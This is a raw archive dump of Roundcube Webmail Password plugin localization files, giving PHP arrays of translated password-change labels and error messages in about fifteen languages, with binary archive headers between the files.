$messages['passwordnoseq'] = 'Das Passwort sollte keine Sequenz wie 123456 oder QWERTZ sein.';
$messages['passwordnocommon'] = 'Passwort sollte kein allgemeines Wort oder Name sein.';
$messages['passwordforbidden'] = 'Passwort enthält unzulässige Zeichen.';
$messages['firstloginchange'] = 'Dies ist Ihre erste Anmeldung. Bitte ändern Sie Ihr Passwort.';
$messages['disablednotice'] = 'Das System befindet sich derzeit im Wartungszustand und eine Passwortänderung ist im Moment nicht möglich. Der normale Betrieb sollte bald wieder hergestellt sein. Wir bitten um Entschuldigung für die Unannehmlichkeiten.';
$messages['passwinhistory'] = 'Dieses Passwort wurde bereits einmal verwendet.';
$messages['samepasswd'] = 'Das neue Passwort muss sich von dem Alten unterscheiden.';
$messages['passwdexpirewarning'] = 'Achtung! Ihr Passwort läuft am $expirationdatetime ab. Ändern Sie es rechtzeitig.';
$messages['passwdexpired'] = 'Ihr Passwort ist abgelaufen, bitte ändern Sie es jetzt!';
$messages['passwdconstraintviolation'] = 'Passwortrichtlinien nicht erfüllt. Das Passwort ist wahrscheinlich zu schwach.';
$messages['pwned_mustnotbedisclosed'] = 'Das Passwort darf nicht <a href="$href" target="_blank">allgemein bekannt sein</a>.';
$messages['pwned_isdisclosed'] = 'Dieses Passwort ist allgemein bekannt.';
$messages['pwned_fetcherror'] = 'Die Überprüfung der Passwortstärke ist fehlgeschlagen.';
PKh�\����(((plugins/password/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Cambiar contraseña';
$labels['curpasswd']  = 'Contraseña actual: ';
$labels['newpasswd']  = 'Contraseña nueva:';
$labels['confpasswd']  = 'Confirmar contraseña nueva:';
$messages['nopassword'] = 'Por favor, ingrese la nueva contraseña.';
$messages['nocurpassword'] = 'Por favor, ingrese la contraseña actual.';
$messages['passwordincorrect'] = 'Contraseña actual incorrecta.';
$messages['passwordinconsistency'] = 'Las contraseñas no coinciden, por favor intente nuevamente.';
$messages['crypterror'] = 'No se pudo guardar la nueva contraseña. No se encuentra la función de encriptación.';
$messages['connecterror'] = 'No se pudo guardar la nueva contraseña. Error de conexión.';
$messages['internalerror'] = 'No se pudo guardar la nueva contraseña.';
$messages['passwordshort'] = 'La contraseña debe tener al menos $length carácteres.';
$messages['passwordweak'] = 'La contraseña debe incluir por lo menos un número y un signo de puntuación.';
$messages['passwordtooweak'] = 'La contraseña es muy débil.';
$messages['passwordnoseq'] = 'La contraseña no puede ser una secuencia como 123456 or QWERTY.';
$messages['passwordnocommon'] = 'La contraseña no puede ser una palabra o nombre común.';
$messages['passwordforbidden'] = 'La contraseña contiene carácteres ilegales.';
$messages['firstloginchange'] = 'Esta es la primera vez que ingresa. Por favor cambie su contraseña.';
$messages['disablednotice'] = 'El sistema se encuentra en mantenimiento actualmente y el cambio de contraseña no es posible en este momento. Todo volverá a la normalidad pronto. Lamentamos los inconvenientes.';
$messages['passwinhistory'] = 'La contraseña ya ha sido usada previamente.';
$messages['samepasswd'] = 'La nueva contraseña tiene que ser diferente a la anterior.';
$messages['passwdexpirewarning'] = 'Alerta! Su contraseña expirará pronto, cambiela antes de $expirationdatetime.';
$messages['passwdexpired'] = 'Su contraseña ha expirado, tiene que cambiarla ahora!';
$messages['passwdconstraintviolation'] = 'Violación de restricción de contraseña. Probablemente la contraseña sea demasiado débil.';
$messages['pwned_isdisclosed'] = 'Esta contraseña es comúnmente conocida.';
$messages['pwned_fetcherror'] = 'No se pudo verificar la seguridad de la contraseña.';
PKh�\�̷�

$plugins/password/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Parolni almashtirish';
$labels['curpasswd']  = 'Hozirgi parol';
$labels['newpasswd']  = 'Yangi parol';
$labels['confpasswd']  = 'Yangi parolni tasdiqlash';
$messages['nopassword'] = 'Iltimos, yangi parolni kiriting';
$messages['nocurpassword'] = 'Iltimos, yangi parolni kiriting';
$messages['passwordincorrect'] = 'Hozirgi parol noto‘g‘ri yozildi';
$messages['passwordinconsistency'] = 'Parollar mos emas, qaytadan urinub ko‘ring';
$messages['crypterror'] = 'Yangi parol saqlanmadi. Shifrlash funksiyasi yoqilmagan';
$messages['connecterror'] = 'Yangi parol saqlanmadi. Ulanishda xatolik.';
$messages['internalerror'] = 'Yangi parol saqlanmadi.';
$messages['passwordshort'] = 'Parol uzunligi kamida $length simvol bo‘lishi kerak.';
$messages['passwordweak'] = 'Parol kamida bitta raqamga ega bo‘lishi va punktuatsiya simvollari mavjud bo‘lishi kerak.';
$messages['passwordforbidden'] = 'Parol tarkibida ruxsat etilmagan simvol mavjud';
$messages['firstloginchange'] = 'Bu sizning birinchi marta tizimga kirishingiz, iltimos parolingizni o‘zgartiring.';
$messages['disablednotice'] = 'Hozir tizimga xizmat ko‘rsatilmoqda va parolni o‘zgartirish funksiyasi hozirda amalda emas. Barchasi tezda o‘z normal holatiga qaytadi. Noqulayliklar uchun uzr.';
$messages['passwinhistory'] = 'Bu paroldan avval foydalanilgan.';
$messages['samepasswd'] = 'Yangi parol avvalgisidan farqlanishi lozim.';
$messages['passwdexpirewarning'] = 'Ogohlantirish! Sizning parolingiz muddati tugamoqda, bu $expirationdatetime muddatdan avval uni almashtiring.';
$messages['passwdexpired'] = 'Sizning parolingiz eskirdi, uni hoziroq o‘zgartiring.';
$messages['passwdconstraintviolation'] = 'Parol cheklovlari buzilgan, ehtimol parolingiz juda sodda.';
PKh�\�֏c�
�
'plugins/password/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Փոխել գաղտնաբառը';
$labels['curpasswd']  = 'Ներկա գաղտնաբառ`';
$labels['newpasswd']  = 'Նոր գաղտնաբառ`';
$labels['confpasswd']  = 'Կրկնեք նոր գաղտնաբառը`';
$messages['nopassword'] = 'Ներմուցեք նոր գաղտնաբառը։';
$messages['nocurpassword'] = 'Ներմուցեք առկա գաղտնաբառը։';
$messages['passwordincorrect'] = 'Առկա գաղտնաբառը սխալ է։';
$messages['passwordinconsistency'] = 'Նոր գաղտնաբառերը չեն համընկնում, կրկին փորձեք։';
$messages['crypterror'] = 'Նոր գաղտնաբառի պահպանումը ձախողվեց։ Բացակայում է գաղտնագրման ֆունկցիան։';
$messages['connecterror'] = 'Նոր գաղտնաբառի պահպանումը ձախողվեց։ Կապի սխալ։';
$messages['internalerror'] = 'Նոր գաղտնաբառի պահպանումը ձախողվեց։';
$messages['passwordshort'] = 'Գաղտնաբառերը պետք է լինեն առնվազն $length նիշ երկարությամբ։';
$messages['passwordweak'] = 'Գաղտնաբառերը պետք է պարունակեն առնվազն մեկ թիվ և մեկ կետադրական նիշ։';
$messages['passwordforbidden'] = 'Գաղտնաբառը պարունակում է արգելված նիշ։';
$messages['firstloginchange'] = 'Սա ձեր առաջին մուտքն է։ Խնդրում ենք փոխել գաղտնաբառը։';
$messages['disablednotice'] = 'Ներկա պահին համակարգը գտնվում է վերականգնման փուլում, և այս պահին գաղտնաբառը հնարավոր չէ փոխել: Ամեն ինչ շուտով կվերականգնվի: Խնդրում ենք Ձեր ներողամտությունը, պատճառված անհարմարության համար:';
PKh�\�<���'plugins/password/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Current Password:';
$labels['newpasswd']  = 'New Password:';
$labels['confpasswd']  = 'Confirm New Password:';
$messages['nopassword'] = 'Please input new password.';
$messages['nocurpassword'] = 'Please input current password.';
$messages['passwordincorrect'] = 'Current password incorrect.';
$messages['passwordinconsistency'] = 'Passwords do not match, please try again.';
$messages['crypterror'] = 'Could not save new password. Encryption function missing.';
$messages['connecterror'] = 'Could not save new password. Connection error.';
$messages['internalerror'] = 'Could not save new password.';
$messages['passwordshort'] = 'Password must be at least $length characters long.';
$messages['passwordweak'] = 'Password must include at least one number and one punctuation character.';
$messages['passwordforbidden'] = 'Password contains forbidden characters.';
PKh�\�ǎ�	�	'plugins/password/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = '更改密碼';
$labels['curpasswd']  = '目前的密碼:';
$labels['newpasswd']  = '新密碼';
$labels['confpasswd']  = '確認新密碼';
$messages['nopassword'] = '請輸入新密碼';
$messages['nocurpassword'] = '請輸入目前的密碼';
$messages['passwordincorrect'] = '目前的密碼錯誤';
$messages['passwordinconsistency'] = '密碼不相符,請重新輸入';
$messages['crypterror'] = '無法更新密碼:無加密機制';
$messages['connecterror'] = '無法更新密碼:連線失敗';
$messages['internalerror'] = '無法更新密碼';
$messages['passwordshort'] = '密碼至少需 $length 個字元';
$messages['passwordweak'] = '新密碼至少需含有一個數字與一個標點符號';
$messages['passwordtooweak'] = '密碼太差';
$messages['passwordnoseq'] = '密碼不應是連續的字串,例如 123456 或 QWERTY';
$messages['passwordnocommon'] = '密碼不應是常見的字詞或名稱';
$messages['passwordforbidden'] = '密碼含有禁用字元';
$messages['firstloginchange'] = '這是你第一次登入。請更改密碼。';
$messages['disablednotice'] = '系統正在進行保養工作,故此無法更改密碼。系統很快會回復正常。抱歉!';
$messages['passwinhistory'] = '此密碼之前已用過';
$messages['samepasswd'] = '新密碼要和舊的不同';
$messages['passwdexpirewarning'] = '警告!您的密碼很快會到期,請在 $expirationdatetime 之前更改';
$messages['passwdexpired'] = '您的密碼已到期,請馬上更改!';
$messages['passwdconstraintviolation'] = '違反密碼規限。密碼可能太弱了。';
$messages['pwned_isdisclosed'] = '此密碼為人所共知。';
$messages['pwned_fetcherror'] = '驗證密碼強度失敗。';
PKh�\��۷��'plugins/password/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Canvia la contrasenya';
$labels['curpasswd']  = 'Contrasenya actual:';
$labels['newpasswd']  = 'Nova contrasenya:';
$labels['confpasswd']  = 'Confirmeu la nova contrasenya:';
$messages['nopassword'] = 'Si us plau, introduïu la nova contrasenya.';
$messages['nocurpassword'] = 'Si us plau, introduïu la contrasenya actual.';
$messages['passwordincorrect'] = 'Contrasenya actual incorrecta.';
$messages['passwordinconsistency'] = 'La contrasenya nova no coincideix, torneu-ho a provar.';
$messages['crypterror'] = 'No s\'ha pogut desar la nova contrasenya. No existeix la funció d\'encriptació.';
$messages['connecterror'] = 'No s\'ha pogut desar la nova contrasenya. Error de connexió.';
$messages['internalerror'] = 'No s\'ha pogut desar la nova contrasenya.';
$messages['passwordshort'] = 'La nova contrasenya ha de tenir com a mínim $length caràcters.';
$messages['passwordweak'] = 'La nova contrasenya ha d\'incloure com a mínim un nombre i un caràcter de puntuació.';
$messages['passwordtooweak'] = 'La contrasenya és massa feble.';
$messages['passwordnoseq'] = 'La contrasenya no hauria de ser una seqüència com ara 123456 o QWERTY.';
$messages['passwordnocommon'] = 'La contrasenya no hauria de ser una paraula o un nom comú.';
$messages['passwordforbidden'] = 'La contrasenya conté caràcters no permesos.';
$messages['firstloginchange'] = 'Aquest és el vostre primer accés. Si us plau, canvieu-vos la contrasenya.';
$messages['disablednotice'] = 'El sistema és actualment sota manteniment i els canvis de contrasenya no són permesos en aquest moment. En breu tot tornarà a la normalitat. Us demanem disculpes pels inconvenients.';
$messages['passwinhistory'] = 'Aquesta contrasenya ja es va fer servir anteriorment.';
$messages['samepasswd'] = 'La nova contrasenya ha de ser diferent de l\'antiga.';
$messages['passwdexpirewarning'] = 'Compte!, la vostra contrasenya caducarà aviat. Canvieu-la abans de $expirationdatetime.';
$messages['passwdexpired'] = 'La vostra contrasenya ha caducat, l\'heu de canviar ara!';
$messages['passwdconstraintviolation'] = 'Violació de restricció de les contrasenyes. La contrasenya és probablement massa feble.';
$messages['pwned_mustnotbedisclosed'] = 'La contrasenya no pot ser&nbsp;<a href="$href" target="_blank">habitualment coneguda</a>.';
$messages['pwned_isdisclosed'] = 'Aquesta contrasenya és coneguda habitualment.';
$messages['pwned_fetcherror'] = 'No s\'ha pogut verificar la fortalesa de la contrasenya.';
PKh�\կJsn
n
$plugins/password/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Cambiar contrasigno';
$labels['curpasswd']  = 'Contrasigno actual:';
$labels['newpasswd']  = 'Nove contrasigno:';
$labels['confpasswd']  = 'Confirmar nove contrasigno:';
$messages['nopassword'] = 'Entra un nove contrasigno.';
$messages['nocurpassword'] = 'Entra le contrasigno actual.';
$messages['passwordincorrect'] = 'Le contrasigno actual es incorrecte.';
$messages['passwordinconsistency'] = 'Le contrasignos non es identic. Essaya lo de novo.';
$messages['crypterror'] = 'Impossibile salveguardar le nove contrasigno. Le function de cryptographia manca.';
$messages['connecterror'] = 'Impossibile salveguardar le nove contrasigno. Error de connexion.';
$messages['internalerror'] = 'Impossibile salveguardar le nove contrasigno.';
$messages['passwordshort'] = 'Le contrasigno debe haber al minus $length characteres.';
$messages['passwordweak'] = 'Le contrasigno debe includer al minus un numero e un character de punctuation.';
$messages['passwordforbidden'] = 'Le contrasigno contine characteres interdicte.';
$messages['firstloginchange'] = 'Iste es vostre prime session. Per favor, cambia vostre contrasigno.';
$messages['disablednotice'] = 'Le systema es sub mantenentia e non es possibile cambiar le contrasigno in iste momento. Le systema retornara al functionamento normal bentosto. Nos offere nostre excusas pro omne inconveniente.';
$messages['passwinhistory'] = 'Iste contrasigno jam esseva usate previemente.';
$messages['samepasswd'] = 'Un nove contrasigno debe esser differente del ancian.';
$messages['passwdexpirewarning'] = 'Attention! Vostre contrasigno expirara proximemente, cambia lo ante $expirationdatetime.';
$messages['passwdexpired'] = 'Vostre contrasigno ha expirate, vos debe cambiar lo ora!';
$messages['passwdconstraintviolation'] = 'Le contrasigno non satisface le requisitos. Probabilemente es troppo insecur.';
PKh�\��4�NN'plugins/password/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Promijeni šifru';
$labels['curpasswd']  = 'Trenutna šifra:';
$labels['newpasswd']  = 'Nova šifra:';
$labels['confpasswd']  = 'Potvrdite novu šifru:';
$messages['nopassword'] = 'Molimo vas da upišete novu šifru.';
$messages['nocurpassword'] = 'Molimo vas da upišete trenutnu šifru.';
$messages['passwordincorrect'] = 'Trenutna šifra je netačna.';
$messages['passwordinconsistency'] = 'Šifre se ne podudaraju, molimo vas da pokušate ponovo.';
$messages['crypterror'] = 'Nije moguće sačuvati šifre. Nedostaje funkcija za enkripciju.';
$messages['connecterror'] = 'Nije moguće sačuvati šifre. Greška u povezivanju.';
$messages['internalerror'] = 'Nije moguće sačuvati novu šifru.';
$messages['passwordshort'] = 'Šifra mora sadržavati barem $length znakova.';
$messages['passwordweak'] = 'Šifra mora imati barem jedan broj i jedan interpunkcijski znak.';
$messages['passwordforbidden'] = 'Šifra sadrži nedozvoljene znakove.';
$messages['firstloginchange'] = 'Ovo je vaša prva prijava. Molimo vas da promijenite vašu šifru.';
PKh�\a�4F00'plugins/password/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Изменить пароль';
$labels['curpasswd']  = 'Текущий пароль:';
$labels['newpasswd']  = 'Новый пароль:';
$labels['confpasswd']  = 'Подтвердите новый пароль:';
$messages['nopassword'] = 'Пожалуйста, введите новый пароль.';
$messages['nocurpassword'] = 'Пожалуйста, введите текущий пароль.';
$messages['passwordincorrect'] = 'Текущий пароль неверен.';
$messages['passwordinconsistency'] = 'Пароли не совпадают, попробуйте ещё раз, пожалуйста.';
$messages['crypterror'] = 'Не могу сохранить новый пароль. Отсутствует криптографическая функция.';
$messages['connecterror'] = 'Не могу сохранить новый пароль. Ошибка соединения.';
$messages['internalerror'] = 'Не могу сохранить новый пароль.';
$messages['passwordshort'] = 'Длина пароля должна быть как минимум $length символов.';
$messages['passwordweak'] = 'Пароль должен включать в себя как минимум одну цифру и один знак пунктуации.';
$messages['passwordtooweak'] = 'Пароль слишком простой.';
$messages['passwordnoseq'] = 'Пароль НЕ должен быть последовательностью, например,123456 или QWERTY.';
$messages['passwordnocommon'] = 'Пароль не должен быть простым словом или именем.';
$messages['passwordforbidden'] = 'Пароль содержит недопустимые символы.';
$messages['firstloginchange'] = 'Вы выполнили вход впервые. Измените ваш пароль.';
$messages['disablednotice'] = 'В настоящее время проводится обслуживание системы и изменение пароля не возможно в данный момент. Все должно вернуться в нормальное состояние в ближайшее время. Приносим свои извинения за причиненные неудобства.';
$messages['passwinhistory'] = 'Этот пароль уже использовался ранее.';
$messages['samepasswd'] = 'Новый пароль должен отличаться от старого.';
$messages['passwdexpirewarning'] = 'Внимание! Ваш пароль истекает в ближайшее время, измените его до $expirationdatetime.';
$messages['passwdexpired'] = 'Срок действия вашего пароля истек, вы должны изменить его сейчас!';
$messages['passwdconstraintviolation'] = 'Нарушение ограничения пароля. Вероятно, слишком слабый пароль.';
$messages['pwned_mustnotbedisclosed'] = 'Пароль не должен быть <a href="$href" target="_blank">commonly known</a>.';
$messages['pwned_isdisclosed'] = 'Этот пароль общеизвестен.';
$messages['pwned_fetcherror'] = 'Не удалось проверить стойкость пароля.';
PKh�\6��s��'plugins/password/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'تغییر گذرواژه';
$labels['curpasswd']  = 'گذرواژه فعلی:';
$labels['newpasswd']  = 'گذرواژه جدید:';
$labels['confpasswd']  = 'تایید گذرواژه جدید:';
$messages['nopassword'] = 'لطفا گذرواژه جدید را وارد نمایید.';
$messages['nocurpassword'] = ' لطفا گذرواژه فعلی را وارد نمایید.';
$messages['passwordincorrect'] = 'گذرواژه فعلی اشتباه است.';
$messages['passwordinconsistency'] = 'گذرواژه‌ها با هم مطابقت ندارند، دوباره سعی نمایید.';
$messages['crypterror'] = 'گذرواژه جدید نمی‌تواند ذخیره شود. نبود تابع رمزگذاری.';
$messages['connecterror'] = 'گذرواژه جدید نمی‌تواند ذخیره شود. خطای ارتباط.';
$messages['internalerror'] = 'گذرواژه جدید نتوانست ذخیره نشد.';
$messages['passwordshort'] = 'گذرواژه باید حداقل $length کاراکتر طول داشته باشد.';
$messages['passwordweak'] = 'گذرواژه باید شامل حداقل یک عدد و یک کاراکتر نشانه‌ای باشد.';
$messages['passwordforbidden'] = 'گذرواژه شامل کاراکترهای غیرمجاز است.';
$messages['firstloginchange'] = 'این اولین ورود شما است، لطفا گذرواژه خود را تغییر دهید.';
PKh�\�L��vv'plugins/password/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Breyta lykilorði';
$labels['curpasswd']  = 'Núverandi lykilorð:';
$labels['newpasswd']  = 'Nýtt lykilorð:';
$labels['confpasswd']  = 'Staðfesta nýtt lykilorð:';
$messages['nopassword'] = 'Settu inn nýtt lykilorð.';
$messages['nocurpassword'] = 'Settu inn núverandi lykilorð.';
$messages['passwordincorrect'] = 'Núverandi lykilorð er ekki rétt.';
$messages['passwordinconsistency'] = 'Lykilorðin samsvara ekki, reyndu aftur.';
$messages['crypterror'] = 'Gat ekki vistað nýtt lykilorð. Dulritunareiginleika vantar.';
$messages['connecterror'] = 'Gat ekki vistað nýtt lykilorð. Villa í tengingu.';
$messages['internalerror'] = 'Gat ekki vistað nýtt lykilorð.';
$messages['passwordshort'] = 'Lykilorð þarf að vera að minnsta kosti $length stafa langt.';
$messages['passwordweak'] = 'Lykilorð þarf að innihalda a.m.k. einn tölustaf og eitt greinamerki.';
$messages['passwordtooweak'] = 'Lykilorðið er of veikt.';
$messages['passwordnoseq'] = 'Lykilorð ætti ekki að vera runa á borð við 123456 eða QWERTY.';
$messages['passwordnocommon'] = 'Lykilorð ætti ekki að vera algengt orð eða nafn.';
$messages['passwordforbidden'] = 'Lykilorð inniheldur óleyfilega stafi.';
$messages['firstloginchange'] = 'Þetta er í fyrsta skipti sem þú skráir þig inn. Endilega breyttu lykilorðinu þínu.';
$messages['disablednotice'] = 'Kerfið er í viðhaldsfasa og því er ekki hægt að breyta lykilorðum sem stendur. Allt ætti að vera komið í samt lag innan stundar. Við biðjumst afsökunar á þeim óþægindum sem af þessu geta hlotist.';
$messages['passwinhistory'] = 'Þetta lykilorð hefur áður verið notað.';
$messages['samepasswd'] = 'Nýja lykilorðið verður að vera frábrugðið hinu gamla.';
$messages['passwdexpirewarning'] = 'Aðvörun! Lykilorðið þitt rennur út innan skamms, breyttu því fyrir $expirationdatetime.';
$messages['passwdexpired'] = 'Lykilorðið þitt er runnið út, þú verður að breyta því núna!';
$messages['passwdconstraintviolation'] = 'Lykilorðið rakst á skilyrði. Líklega er það of veikt.';
$messages['pwned_mustnotbedisclosed'] = 'Lykilorð má ekki vera <a href="$href" target="_blank">almennt þekkt</a>.';
$messages['pwned_isdisclosed'] = 'Þetta lykilorð er almennt þekkt.';
$messages['pwned_fetcherror'] = 'Mistókst að sannreyna styrk lykilorðsins.';
PKh�\����'plugins/password/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'Mật khẩu hiện tại';
$labels['newpasswd']  = 'Mật khẩu mới:';
$labels['confpasswd']  = 'Xác nhận mật khẩu mới';
$messages['nopassword'] = 'Mời nhập mật khẩu mới';
$messages['nocurpassword'] = 'Mời nhập mật khẩu hiện tại';
$messages['passwordincorrect'] = 'Mật khẩu hiện thời không đúng';
$messages['passwordinconsistency'] = 'Mật khẩu không khớp, hãy thử lại';
$messages['crypterror'] = 'Không thể lưu mật khẩu mới. Thiếu chức năng mã hóa';
$messages['connecterror'] = 'Không thể lưu mật mã mới. Lổi kết nối';
$messages['internalerror'] = 'Không thể lưu mật khẩu mới';
$messages['passwordshort'] = 'Mật khẩu phải dài ít nhất $ ký tự';
$messages['passwordweak'] = 'Mật khẩu phải bao gồm ít nhất 1 con số và 1 ký tự dấu câu';
$messages['passwordforbidden'] = 'Mật khẩu bao gồm ký tự không hợp lệ';
PKh�\0�2TT'plugins/password/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'เปลี่ยนรหัสผ่าน';
$labels['curpasswd']  = 'รหัสผ่านปัจจุบัน';
$labels['newpasswd']  = 'รหัสผ่านใหม่';
$labels['confpasswd']  = 'ยืนยันรหัสผ่านใหม่';
$messages['nopassword'] = 'กรุณาใส่รหัสผ่านใหม่';
$messages['nocurpassword'] = 'กรุณาใส่รหัสผ่านปัจจุบัน';
$messages['passwordincorrect'] = 'รหัสผ่านปัจจุบันไม่ถูกต้อง';
$messages['passwordinconsistency'] = 'รหัสผ่านไม่ตรงกัน กรุณากรอกใหม่อีกครััง';
$messages['crypterror'] = 'ไม่สามารถบันทึกรหัสผ่านใหม่. ฟังก์ชั่นการเข้ารหัสขาดหายไป.';
$messages['connecterror'] = 'ไม่สามารถบันทึกรหัสผ่านใหม่. เชื่อมต่อผิดพลาด.';
$messages['internalerror'] = 'ไม่สามารถบันทึกรหัสผ่านใหม่.';
$messages['passwordshort'] = 'รหัสผ่านต้องมีอย่างน้อย $length ตัวอักษร.';
$messages['passwordweak'] = 'รหัสผ่านต้องมีอย่างน้อยหนึ่งตัวเลขและตัวอักษรวรรคตอนหนึ่ง';
$messages['passwordforbidden'] = 'รหัสผ่านมีอักขระต้องห้าม';
$messages['firstloginchange'] = 'นี่คือครั้งแรกในการเข้าระบบ กรุณาเปลี่ยนรหัสผ่านของคุณ';
$messages['disablednotice'] = 'ระบบขณะนี้อยู่ระหว่างการบำรุงรักษาและการเปลี่ยนรหัสผ่านเป็นไปไม่ได้ในขณะนี้ ทุกอย่างควรจะกลับมาเป็นปกติเร็ว ๆ นี้ เราต้องขออภัยในความไม่สะดวก.';
$messages['passwinhistory'] = 'รหัสผ่านนี้ได้ถูกนำมาใช้ก่อนหน้านี้';
$messages['samepasswd'] = 'รหัสผ่านใหม่จะต้องมีความแตกต่างจากเดิม';
$messages['passwdexpirewarning'] = 'คำเตือน! รหัสผ่านของคุณจะหมดอายุในเร็ว ๆ นี้ เปลี่ยนก่อน $expirationdatetime.';
$messages['passwdexpired'] = 'รหัสผ่านของคุณหมดอายุแล้วคุณมีการเปลี่ยนแปลงในขณะนี้!';
$messages['passwdconstraintviolation'] = 'รหัสมีความปลอดภัยต่ำ';
PKh�\us�44'plugins/password/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'تغيير كلمة المرور';
$labels['curpasswd']  = 'كلمة المرور الحالية';
$labels['newpasswd']  = 'كلمة المرور الجديدة';
